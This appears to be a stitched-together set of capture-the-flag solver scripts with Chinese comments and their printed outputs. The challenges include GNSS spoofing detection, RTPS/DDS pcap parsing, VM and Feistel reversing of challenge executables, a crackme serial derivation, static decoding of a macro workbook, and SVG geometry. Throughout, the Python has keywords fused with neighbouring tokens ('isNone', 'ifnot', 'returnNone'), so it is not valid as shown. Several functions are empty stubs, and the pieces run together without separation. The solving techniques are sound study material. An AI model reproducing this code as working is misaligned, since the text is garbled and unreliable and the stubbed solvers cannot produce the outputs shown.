def parse(data):                                        # 拆出 NAV-PVT 与 RXM-RAWX（每星伪距）
    pvt, rawx = [], []
    for cls, mid, pay in iter_ubx(data):
        if cls == 0x01and mid == 0x07:                 # NAV-PVT：iTOW / fixType / lat / lon
            pvt.append({\"itow\": u4(pay, 0), \"fix\": u1(pay, 20), \"lat\": i4(pay, 28) * 1e-7, \"lon\": i4(pay, 24) * 1e-7})
        elif cls == 0x02and mid == 0x15:               # RXM-RAWX：每记录 32 字节，off+20/21 = gnssId/svId
            rawx.append({(u1(pay, o + 20), u1(pay, o + 21)): r8(pay, o) for o in range(16, 16 + 32 * u1(pay, 11), 32)})   # prMes
    return pvt, rawx
def median(xs):                                         # 中位数
    s = sorted(xs)
    return s[len(s) // 2] if len(s) % 2else0.5 * (s[len(s) // 2 - 1] + s[len(s) // 2])
def linear_predict(ys):                                 # 最小二乘线性外推到下标 k = len(ys)
    k = len(ys); sx, sy = sum(range(k)), sum(ys)
    sxx, sxy = sum(i * i for i in range(k)), sum(i * y for i, y in enumerate(ys))
    slope = (k * sxy - sx * sy) / (k * sxx - sx * sx)
    return slope * k + (sy - slope * sx) / k
def main():
    path = sys.argv[1] if len(sys.argv) > 1else os.path.join(os.path.dirname(os.path.abspath(__file__)), UBX_FILE)
    pvt, rawx = parse(open(path, \"rb\").read()); epochs = len(rawx)
    keys = sorted({k for e in rawx for k in e}); consts = sorted({g for (g, _) in keys})
    con = {g: [(lambda v: median(v) if v elseNone)([rawx[t][k] - rawx[t - 1][k] for k in keys   # 每星座每历元 delta(t)=pr(t)-pr(t-1)
              if k[0] == g and k in rawx[t] and k in rawx[t - 1]]) for t in range(1, epochs)] for g in consts}
    onset_t, deviations = None, {}
    for t in range(FIT_WINDOW + 1, epochs):             # onset：增量首次偏离其线性外推超过阈值
        prev = {g: con[g][t - 1 - FIT_WINDOW:t - 1] for g in consts}
        deviations = {g: con[g][t - 1] - linear_predict(prev[g]) for g in consts ifNonenotin prev[g]}
        if deviations and max(abs(v) for v in deviations.values()) > JUMP_THRESHOLD_M: onset_t = t; break
    if onset_t isNone: return print(\"[!] no onset detected\")
    affected = max(deviations, key=lambda g: abs(deviations[g]))     # 偏差最大 = 受欺骗星座
    reference = min(deviations, key=lambda g: abs(deviations[g]))    # 偏差最小 = 自证星座
    steps = [rawx[onset_t][k] - rawx[onset_t - 1][k] - linear_predict(   # 受欺骗星座 onset 逐星跳变量
             [rawx[t][k] - rawx[t - 1][k] for t in range(onset_t - FIT_WINDOW, onset_t)]) for k in keys if k[0] == affected]
    step_m, onset_itow = median(steps), pvt[onset_t][\"itow\"]
    material = \"%d|%s|%s|%.1f|%d\" % (onset_itow, GNSS[affected], GNSS[reference], step_m, onset_t)
    digest = hashlib.sha256(material.encode(\"utf-8\")).hexdigest()
    print(\"epochs=%d consts=%s onset=%d(iTOW=%d) affected/ref=%s/%s step=%.1f m\" % (epochs, \",\".join(GNSS[g] for g in consts), onset_t, onset_itow, GNSS[affected], GNSS[reference], step_m))
    print(\"per-SV steps (m): %s\
material: %s\
[+] FLAG: flag{%s}\" % (\" \".join(\"%.3f\" % s for s in steps), material, digest[:32]))   # ...（省略：其余调试打印）
if __name__ == \"__main__\":
    main()

[*] epochs              : 60
[*] constellations      : GPS, GALILEO
[*] per-const deviation : GPS=+75.017, GALILEO=+0.013
[*] onset epoch index   : 37   (iTOW=486037000)
[*] affected            : GPS
[*] reference           : GALILEO
[*] per-SV steps (m)    : 74.975 74.986 75.010 75.025 75.017 74.993
[*] spoof step (median) : 75.0 m
[*] material            : 486037000|GPS|GALILEO|75.0|37
[*] sha256              : b347b01858cfa126cf7866ba0a413231977a4eb0951372518713228ab0ea3704
[+] FLAG                : flag{b347b01858cfa126cf7866ba0a413231}

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Domain 42：RTPS/DDS 云台命令还原。可信 writer = 发 HEARTBEAT 的那个；
# CRC32 覆盖 seq|mode|pan|tilt|duration（payload[4:24]）；material 做 SHA-256 取前 32 位。
import os, sys, struct, hashlib, zlib

def udp_payloads(path):
    \"\"\"经典 libpcap 逐包剥链路层 → UDP 载荷。\"\"\"
    data = open(path, \"rb\").read()
    endian = \"<\"if data[:4] in (b\"\\xd4\\xc3\\xb2\\xa1\", b\"\\x4d\\x3c\\xb2\\xa1\") else\">\"
    linktype = struct.unpack(endian + \"I\", data[20:24])[0]
    off, n = 24, len(data)
    while off + 16 <= n:
        _, _, incl, _ = struct.unpack(endian + \"IIII\", data[off:off + 16]); off += 16
        frame = data[off:off + incl]; off += incl
        ip = frame[14:] if linktype == 1else frame          # 以太网 / raw IP
        if len(ip) < 20or (ip[0] >> 4) != 4or ip[9] != 17:  # 只取 IPv4+UDP
            continue
        udp = ip[(ip[0] & 0x0F) * 4:]
        if len(udp) >= 8:
            yield udp[8:]

def parse(path):
    \"\"\"收集 DATA 子消息，并用 HEARTBEAT 定位可信 writer。\"\"\"
    datas, tpre, twr = [], None, None
    for d in udp_payloads(path):
        if d[:4] != b\"RTPS\":
            continue
        prefix, off = d[8:20], 20
        while off + 4 <= len(d):                              # 子消息循环
            subid = d[off]
            ln = struct.unpack_from(\"<H\", d, off + 2)[0]
            body = d[off + 4:off + 4 + ln]; off += 4 + ln
            if subid == 0x15:                                 # DATA
                datas.append((prefix, body[8:12], struct.unpack_from(\"<I\", body, 16)[0], body[20:]))
            elif subid == 0x07:                               # HEARTBEAT
                tpre, twr = prefix, body[4:8]
    return datas, tpre, twr

def main():
    datas, tpre, twr = parse(\"domain42.pcap\")
    best = None
    for pre, wr, sn, pl in datas:                             # 可信 writer + CRC 通过 + 序号最大
        if pre == tpre and wr == twr and len(pl) >= 28and \\
           zlib.crc32(pl[4:24]) & 0xFFFFFFFF == struct.unpack_from(\"<I\", pl, 24)[0]:
            if best isNoneor sn > best[2]:
                best = (pre, wr, sn, pl)
    wr, sn, pl = best[1], best[2], best[3]
    material = \"%s|%d|%d|%.3f|%.4f|%d\" % (wr.hex(), sn, struct.unpack_from(\"<I\", pl, 8)[0],
                                          *struct.unpack_from(\"<ff\", pl, 12),
                                          struct.unpack_from(\"<I\", pl, 20)[0])
    print(\"[+] FLAG: flag{%s}\" % hashlib.sha256(material.encode()).hexdigest()[:32])

if __name__ == \"__main__\":
    main()

[*] DATA submessages      : 46
[*] trusted participant   : 0110aabbccddeeff10203040
[*] trusted writer EntityId: 000003c2
[*] heartbeat lastSN      : 105
[*] last valid command    : seq=105 mode=7 pan=-0.145 tilt=-0.5475 dur=1605
[*] payload CRC32         : 0xcc8ee049 (valid)
[*] material              : 000003c2|105|7|-0.145|-0.5475|1605
[*] sha256                : 7461da3557d96d1773e21d06e0a47229c84fb49471796eb3a92948ff2d7442bf
[+] FLAG                  : flag{7461da3557d96d1773e21d06e0a47229}

plain[p] = cipher[p] XOR fold8(key)
key = (ROL32(key, 7) + (p XOR 0x9e3779b9)) mod 2^32

P_j(x) = y[j] + x*y[j+8] + x²*y[j+16] + x³*y[j+24]
x = worker_id + 1，j = 0..7

12515a0466279f86ea3e59658a67600d46c32a68ec3557809edcb2fa782086be

\"\"\"八证词：8 份证词各被改过两处 -> 化为 GF(256) 上的三次多项式约束 -> RS 型共识纠错
恢复 32 字节状态 -> 逆输入预处理得原话。用法: python solve.py [consensus_maze.exe] [--verify]\"\"\"
import itertools, struct, subprocess, sys
from functools import reduce
from pathlib import Path
MASK32, EXE = 0xffffffff, Path(__file__).with_name('consensus_maze.exe')
def rol32(x, n):return ((x << (n & 31)) | (x >> ((-(n & 31)) & 31))) & MASK32
def gf_mul(a, b):                                   # GF(256) 乘法，约简多项式 0x11b
    v = 0
    while b:
        v ^= a * (b & 1); b >>= 1; a = (a << 1) ^ (0x11bif a & 0x80else0)   # 逐位乘 + 溢出约简
    return v
MUL = [bytes(gf_mul(a, b) for b in range(256)) for a in range(256)]; INV = [0] + [MUL[a].index(1) for a in range(1, 256)]
def gf_dot(coeff, row):return reduce(int.__xor__, (MUL[c][a] for c, a in zip(coeff, row)), 0)   # 多项式求值
def gauss(rows):                                    # GF(256) 高斯消元，返回最右列（系数）
    a = [list(r) for r in rows]
    for k in range(len(a)):
        p = next((j for j in range(k, len(a)) if a[j][k]), None)
        if p isNone: returnNone
        a[k], a[p] = a[p], a[k]; a[k] = [MUL[INV[a[k][k]]][x] for x in a[k]]   # 选主元 + 首项归一化
        for j in range(len(a)):
            if j != k: t = MUL[a[j][k]]; a[j] = [x ^ t[y] for x, y in zip(a[j], a[k])]
    return tuple(r[-1] for r in a)
def load_workers(exe):                              # 解出 8 份证词的 VM 字节码（骨架）
    blob = exe[exe.index(b'WIT8RS01'):][:0x1960]    # ...（省略：块长头 + 8 段偏移在 +0x40，每段 0x31c）
    # ...（省略：段内 64 字节操作码置换 + 708=177×4 字节指令；解码 dec[p]=enc[p] XOR fold8(key)，key = (ROL32(key, 7) + (p XOR 0x9e3779b9)) mod 2^32）
    return sorted((s[4], s[5], s[88:]) for s in (blob[o:o + 0x31c] for o in struct.unpack_from('<8I', blob, 0x40)))
def equations(worker):return {}   # 每份证词 -> 8 个仿射方程（骨架：8 寄存器按 load/mov/xor/xori/mul/cmp 仿射符号执行；env/mix/out 不执行留噪声）
def recover_state(workers):
    \"\"\"每列归一化为三次多项式；枚举 4 点子集求系数，取至少 6 份一致的解。\"\"\"
    all_eq = [equations(w) for w in workers]; state = bytearray(32)
    for lane in range(8):
        pts = [[MUL[INV[r[0]]][v] for v in r] for r in ([eq[lane][lane + 8 * k] for k in range(4)] + [eq[lane][-1]] for eq in all_eq)]   # x = worker_id + 1
        coeff = next((c for c in map(gauss, itertools.combinations(pts, 4)) if c isnotNoneand sum(gf_dot(c, r) != r[-1] for r in pts) <= 2), None)   # 6/8 一致
        assert coeff isnotNone, 'No unique polynomial with six agreeing witnesses'
        for k, value in enumerate(coeff): state[lane + k * 8] = value
    return bytes(state)
def read_rva(exe, rva, size):returnb''   # 按 PE 节表把 RVA 映到文件偏移（骨架：省略 DOS/NT 头 + 节表遍历，命中节返回 exe[raw_off + rva - va : ... + size]）
def round_function(right, round_id, pair):          # Feistel 轮函数（骨架）
    key = (((round_id + 1) * 0x9e3779b9) ^ ((pair + 1) * 0x7f4a7c15)) & MASK32   # 轮密钥
    t = rol32((right + key) & MASK32, 1 + (5 * round_id + 7 * pair) % 31)
    return ((t ^ rol32(t, 21)) * 0x45d9f3b) & MASK32
def invert_preprocessing(state, whitening):
    \"\"\"逆：每 8 字节一组相邻 XOR -> 十轮 Feistel 与字循环移位 -> 去 RVA 0x1f3e0 的白化常量。\"\"\"
    data = bytearray(state)
    for block in range(0, 32, 8):                   # 相邻字节 XOR，在每个 8 字节边界重起
        for i in range(block + 6, block - 1, -1): data[i] ^= data[i + 1]
    words = list(struct.unpack('<8I', data))
    for r in range(9, -1, -1):                      # 逆轮序
        n = r % 7 + 1; words = words[-n:] + words[:-n]         # n 字循环移位
        for pair in range(4):
            i = pair * 2; left, right = words[i:i + 2]; words[i:i + 2] = [right ^ round_function(left, r, pair), left]
    return bytes(a ^ b for a, b in zip(struct.pack('<8I', *words), whitening))[:30].rstrip(b'\\0')
def main():
    exe = EXE.read_bytes()                          # ...（省略：argparse 样板；--verify 用 subprocess 跑原程序验证）
    answer = invert_preprocessing(recover_state(load_workers(exe)), read_rva(exe, 0x1f3e0, 32))
    print(answer.decode('ascii'))                   # 白化常量位于 RVA 0x1f3e0
if __name__ == '__main__':
    main()

python solve.py --verify

flag{utyzn4pgv6bvlilpasoq3o5s}
Length: 30 bytes; stdout: b'ok\\r\
'; exit: 0

'flag{utyzn4pgv6bvlilpasoq3o5s}' | .\\consensus_maze.exe

flag{utyzn4pgv6bvlilpasoq3o5s}

412ed0f286d4c519796263df4e985dc592c07b9fdd30d11e15e6d1bae74836b4

D = SHA256(b\"FOLDPORT-MATERIAL-V1\" || username || uint16_le(unit_id))

(L', R') -> (R' XOR F(L'), L')

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 折叠端口：Serial = 64 位大写十六进制。核心是由用户名派生参数的 80 层 Feistel 网络，
# 从其要求的\"全零输出\"逆推即可得到合法 Serial（无需爆破）。
# ...（省略：完整微操作/洗牌/Feistel 逆推实现，见原始脚本）
import hashlib

def material(username, unit_id):
    \"\"\"每个单元的密钥/乘数/S 盒/置换都由该摘要派生（用户名与单元编号均已知）。\"\"\"
    return hashlib.sha256(b\"FOLDPORT-MATERIAL-V1\" + username.encode() +
                          unit_id.to_bytes(2, \"little\")).digest()

def invert_feistel(state, layers=80):
    \"\"\"Feistel 逆变换 (L', R') -> (R' XOR F(L'), L')，从全零目标逐步回推。\"\"\"
    # ...（省略：80 层、每层 4 单元、按 [1,2,4,2,1] 配对掩码的连接网络逆推）
    return state

def main():
    serial = invert_feistel(bytes(32))                # 目标：32 字节全零输出
    print(\"Username: CTF\")
    print(\"Serial: %s\" % serial.hex().upper())

if __name__ == \"__main__\":
    main()

py -3 solve_foldport.py CTF --verify-exe

Username: CTF
Serial:   99862E7DE2FB974AE1080F02738ADE66E7453381CAC9E6FBA0E918ED170DBBD1
Forward model: eight zero words (PASS)
Original EXE --self-test exit code: 0

py -3 analysis/test_foldport.py

Username: CTF
Serial: 99862E7DE2FB974AE1080F02738ADE66E7453381CAC9E6FBA0E918ED170DBBD1

Private Function DecodeAuditToken(ByVal value As String) As String
    DecodeAuditToken = \"flag{vba_source_is_trusted}\"
End Function

Offline cache layout, version 1:
VBCS 01 | order CRC16-BE | ciphertext CRC32-BE | program length-BE |
stack program | final-slot length-BE | final-slot.

The other physical slots use intentionally different audit encodings:
AUD0 in core properties is Base64; AUD1 in the first worksheet is hex;
AUD2 in workbook.xml is comma-separated decimal; CTFSLOT3 follows the OLE
project bytes and is prefixed by a two-byte big-endian length.

The VM emits five physical slot indices. Concatenate those slots in emitted
order, validate both checksums, then apply UndoCacheByte while advancing
CacheState once per byte. Source-order 0,1,2,3,4 is only a compatibility lie.

Private Function CacheState(ByVal value As Long) As Long
    value = value Xor ((value * &H2000&) And &HFFFFFFFF)
    value = value Xor ((value And &HFFFFFFFF) \\ &H20000)
    value = value Xor ((value * &H20&) And &HFFFFFFFF)
    CacheState = value
End Function

Private Function UndoCacheByte(ByVal value As Byte, ByVal state As Long) As Byte
    Dim count As Byte
    count = (state \\ &H100&) And 7
    UndoCacheByte = RorByte(value, count) Xor (state And &HFF&)
End Function

push 0xa4, push 0xa7, xor  → 0xa4 ^ 0xa7 = 3, emit
push 0x38, push 0x39, xor  → 0x38 ^ 0x39 = 1, emit
push 0xd6, push 0xd2, xor  → 0xd6 ^ 0xd2 = 4, emit
push 0x6c, push 0x6c, xor  → 0x6c ^ 0x6c = 0, emit
push 0x57, push 0x55, xor  → 0x57 ^ 0x55 = 2, emit

python solve.py 宏安全审计_附件.zip

python solve.py challenge.xlsm

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Macro Security Audit - static solver：把 zip/xlsm 当容器静态拆开，绝不启用宏。
# 思路：5 个槽位取密文 → 缓存里的微程序给出拼接顺序 → CRC16 校验顺序 / CRC32 校验密文 →
#       已知明文 flag{ 复原 32 位种子 → 逐字节 UndoCacheByte 得明文。
import base64, io, re, sys, zipfile, zlib
M = 0xFFFFFFFF

def cache_state(v):                                # VBA CacheState 等价复刻
    v = (v ^ (v * 0x2000 & M)) & M
    v = (v ^ (v // 0x20000)) & M
    return (v ^ (v * 0x20 & M)) & M

def ror_byte(val, cnt):                            # VBA RorByte 等价复刻
    cnt &= 7
    return val & 0xFFifnot cnt else ((val >> cnt) | (val << (8 - cnt)) & 0xFF) & 0xFF

def undo_cache_byte(val, state):                   # state 高位定循环右移位数，低 8 位异或
    return ror_byte(val, (state // 0x100) & 7) ^ (state & 0xFF)

def decode_with_seed(ct, seed):
    st, out = seed, bytearray()
    for b in ct:
        out.append(undo_cache_byte(b, st)); st = cache_state(st)
    return bytes(out)

def crc16_ccitt(data, crc=0xFFFF):                 # 顺序校验
    for b in data:
        crc ^= b << 8
        for _ in range(8):
            crc = ((crc << 1) ^ 0x1021) & 0xFFFFif crc & 0x8000else (crc << 1) & 0xFFFF
    return crc

# 5 个物理槽位（保留关键标记与偏移，样板取值部分从略）：
#   AUD0 = core.xml 里 \"AUD0:\" 后的 Base64；AUD1 = sheet1.xml 里 \"AUD1:\" 后的 hex；
#   AUD2 = workbook.xml 里 \"AUD2:\" 后的十进制 csv；CTFSLOT3 = vbaProject.bin 内
#   \"CTFSLOT3\" 标记 + 2 字节大端长度 + 载荷；末槽在 vbaCache.bin 的栈程序之后。
#   VBCS 头：5..7=顺序CRC16，7..11=密文CRC32，11..13=程序长，13..=程序，其后=末槽长+末槽。
def parse_slots(x):
    zf = zipfile.ZipFile(io.BytesIO(x))
    core = zf.read(\"docProps/core.xml\").decode(\"utf-8\", \"replace\")
    s1 = zf.read(\"xl/worksheets/sheet1.xml\").decode(\"utf-8\", \"replace\")
    wb = zf.read(\"xl/workbook.xml\").decode(\"utf-8\", \"replace\")
    cache, proj = zf.read(\"xl/embeddings/vbaCache.bin\"), zf.read(\"xl/vbaProject.bin\")
    s0 = base64.b64decode(re.search(r\"AUD0:([A-Za-z0-9+/=]+)\", core).group(1))
    s1b = bytes.fromhex(re.search(r\"AUD1:([0-9a-fA-F]+)\", s1).group(1))
    s2 = bytes(int(v) for v in re.search(r\"AUD2:([0-9,]+)\", wb).group(1).split(\",\"))
    i3 = proj.find(b\"CTFSLOT3\")
    ln = int.from_bytes(proj[i3 + 8:i3 + 10], \"big\")
    s3 = proj[i3 + 10:i3 + 10 + ln]
    o_crc, c_crc = int.from_bytes(cache[5:7], \"big\"), int.from_bytes(cache[7:11], \"big\")
    plen = int.from_bytes(cache[11:13], \"big\")
    prog = cache[13:13 + plen]
    flen = int.from_bytes(cache[13 + plen:15 + plen], \"big\")
    return [s0, s1b, s2, s3, cache[15 + plen:15 + plen + flen]], prog, o_crc, c_crc

def run_program(prog):                             # 微程序只认少数操作码，只关心 emit 顺序
    st, out, i = [], [], 0
    while i < len(prog):
        op = prog[i]; i += 1
        if op == 0x10: st.append(prog[i]); i += 1                 # push8
        elif op == 0x11: b = st.pop(); st.append(st.pop() ^ b)    # xor
        elif op == 0x14: out.append(st.pop())                     # emit
        elif op in (0x20, 0x21): i += 4                           # setacc32 / xoracc32
        elif op == 0xFF: break                                    # halt
    return out

def recover_seed(ct, prefix=b\"flag{\"):             # out[0] 钉死种子低 11 位，余 21 位枚举
    for cnt in range(8):
        low = (cnt << 8) | (ror_byte(ct[0], cnt) ^ prefix[0])
        for high in range(1 << 21):
            st, ok = (high << 11) | low, True
            for i in range(len(prefix)):
                if undo_cache_byte(ct[i], st) != prefix[i]:
                    ok = False; break
                st = cache_state(st)
            if ok:
                return (high << 11) | low
    returnNone

def main():
    # ...（省略：附件路径探测与 zip/xlsm 拆包样板）
    x = open(sys.argv[1], \"rb\").read()
    slots, prog, o_crc, c_crc = parse_slots(x)
    order = run_program(prog)
    assert crc16_ccitt(bytes(order)) == o_crc          # 双校验都过才继续
    ct = b\"\".join(slots[i] for i in order)
    assert zlib.crc32(ct) == c_crc
    print(\"[+] FLAG =\", decode_with_seed(ct, recover_seed(ct)).decode(\"utf-8\", \"replace\"))

if __name__ == \"__main__\":
    main()

[*] attachment : 宏安全审计_附件.zip
[*] slot sizes  : [7, 7, 7, 8, 7]
[*] emitted order: [3, 1, 4, 0, 2]
[*] checksums   : CRC16-CCITT(order)=75e8  CRC32(ct)=473d22e8  OK
[*] recovered seed: 0x40aec71f
[+] FLAG = flag{what_runs_is_not_what_you_read}

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Vector Secrets -- 只靠 SVG 几何恢复 flag：symbol 无 viewBox、clipPath 为 userSpaceOnUse，
# 故\"点可见\" == \"点矩形与裁剪条相交\"；每帧 8 点留 6（左右各 1 个诱饵）后吸附 5px 栅格，
# 232 帧按覆盖次数取奇偶（XOR）消掉重叠 -> 5x7 点阵字。字库只有大写，提交用小写。
import os, re, sys
from collections import defaultdict
SVG_FILE = \"poster.svg\"
RECT = r'<rect x=\"([-\\d.]+)\" y=\"([-\\d.]+)\" width=\"([-\\d.]+)\" height=\"([-\\d.]+)\"'
PAT = (r'<g transform=\"translate\\(([-\\d.]+) ([-\\d.]+)\\)\"><g transform=\"matrix\\(([^)]*)\\)\">'r'<use href=\"#(asset_\\d+)\" fill=\"(#\\w+)\" clip-path=\"url\\(#(mask_\\d+)\\)\"')
# 5x7 点阵字库（F/L/A/G/{/X/O/R/_/S/H/P/E/V/} 共 16 个字形，此处略）
def parse_direct(svg):                              # 解析 symbol 的 8 点 / clipPath 矩形 / 232 帧
    sym = {m.group(1): [tuple(map(float, r.groups())) for r in re.finditer(RECT, m.group(2))] for m in re.finditer(r'<symbol id=\"(asset_\\d+)\">(.*?)</symbol>', svg, re.S)}
    msk = {m.group(1): tuple(map(float, re.search(RECT, m.group(2)).groups())) for m in re.finditer(r'<clipPath id=\"(mask_\\d+)\"[^>]*>(.*?)</clipPath>', svg, re.S)}
    frames = [(float(m.group(1)), float(m.group(2)), [float(v) for v in m.group(3).split()], m.group(4), m.group(6)) for m in re.finditer(PAT, svg)]
    return sym, msk, frames
def intersect(x, y, w, h, mx, my, mw, mh):          # 点矩形是否与裁剪条相交（同一局部坐标系）
    return max(x, mx) < min(x + w, mx + mw) - 0.5and max(y, my) < min(y + h, my + mh) - 0.5
def parity_bitmap(symbols, masks, frames):          # 可见点按覆盖次数取奇偶（XOR）并吸附 5px 栅格
    par = defaultdict(int)
    for tx, ty, (a, b, c, d, e, f), sym, mask in frames:
        for x, y, w, h in symbols[sym]:
            ifnot intersect(x, y, w, h, *masks[mask]): continue
            tp = [(tx + a * px + c * py + e, ty + b * px + d * py + f) for px, py in [(x, y), (x + w, y), (x, y + h), (x + w, y + h)]]
            par[(round(min(p[0] for p in tp)), round(min(p[1] for p in tp)))] ^= 1   # 最小角 -> 栅格
    return {p for p, v in par.items() if v}
def render_grid(cells, step=5):                     # 吸附点集 -> 字符网格（#/.）
    xs = [p[0] for p in cells]; ys = [p[1] for p in cells]; x0, y0 = min(xs), min(ys)
    return ([[\"#\"if (x0 + c * step, y0 + r * step) in cells else\".\"for c in range((max(xs) - x0) // step + 1)] for r in range((max(ys) - y0) // step + 1)], x0, y0)
def hamming(a, b):return sum(1for ra, rb in zip(a, b) for ca, cb in zip(ra, rb) if ca != cb)  # 字形距离
def recognize(grid):
    \"\"\"按整列为空切分字形，再与字库精确/最近（汉明距离）匹配。\"\"\"
    blank = {c for c in range(len(grid[0])) if all(r[c] == \".\"for r in grid)}
    segs = [(m.start(), m.end() - 1) for m in re.finditer(r'#+', \"\".join(\".\"if c in blank else\"#\"for c in range(len(grid[0]))))]
    # ...（省略：逐字形先精确匹配、失败再取汉明距离最近者）
    return\"\".join(min([(hamming(tuple(r[a:b + 1] for r in grid), g), ch) for ch, g in FONT.items() if len(g[0]) == b - a + 1] or [(99, \"?\")])[1] for a, b in segs)
def main():
    path = sys.argv[1] if len(sys.argv) > 1else os.path.join(os.path.dirname(os.path.abspath(__file__)), SVG_FILE)
    grid, x0, y0 = render_grid(parity_bitmap(*parse_direct(open(path, encoding=\"utf-8\").read())))
    for row in grid: print(\"    \" + \"\".join(row))                   # 打印还原出的点阵位图
    decoded = recognize(grid); flag = decoded.lower()               # 字库只有大写，提交用小写
    ifnot flag.startswith(\"flag{\"): flag = \"flag{\" + flag.strip(\"{}\") + \"}\"
    print(\"[*] decoded (5x7 font): %s\
[+] FLAG              : %s\" % (decoded, flag))
if __name__ == \"__main__\":
    main()

[*] frames            : 232
[*] dots/frame stats  : {6: 230, 5: 1, 3: 1}
[*] bitmap origin     : (90, 405)  step 5px
[*] bitmap (166x7):
    #####.#......###...####...###.#...#..###..####.........####.#...#..###..####..#####..####.......####..#####.#...#.#####..###..#...........#####.#......###...####.###.
    #.....#.....#...#.#.......#....#.#..#...#.#...#.......#.....#...#.#...#.#...#.#.....#...........#...#.#.....#...#.#.....#...#.#...........#.....#.....#...#.#.......#.
    ####..#.....#...#.#.###...#.....#...#...#.#...#.......#.....#####.#...#.#...#.####..#...........#...#.####..#...#.####..#...#.#...........####..#.....#...#.#.###...#.
    #.....#.....#####.#...#..##.....#...#...#.####.........###..#...#.#####.####..#......###........####..#.....#...#.#.....#####.#...........#.....#.....#####.#...#...##
    #.....#.....#...#.#...#...#.....#...#...#.#.#.............#.#...#.#...#.#.....#.........#.......#.#...#.....#...#.#.....#...#.#...........#.....#.....#...#.#...#...#.
    #.....#.....#...#.#...#...#....#.#..#...#.#..#............#.#...#.#...#.#.....#.........#.......#..#..#......#.#..#.....#...#.#...........#.....#.....#...#.#...#...#.
    #.....#####.#...#..###....###.#...#..###..#...#.#####.####..#...#.#...#.#.....#####.####..#####.#...#.#####...#...#####.#...#.#####.#####.#.....#####.#...#..###..###.
[*] decoded (5x7 font): FLAG{XOR_SHAPES_REVEAL_FLAG}
[+] FLAG              : flag{xor_shapes_reveal_flag}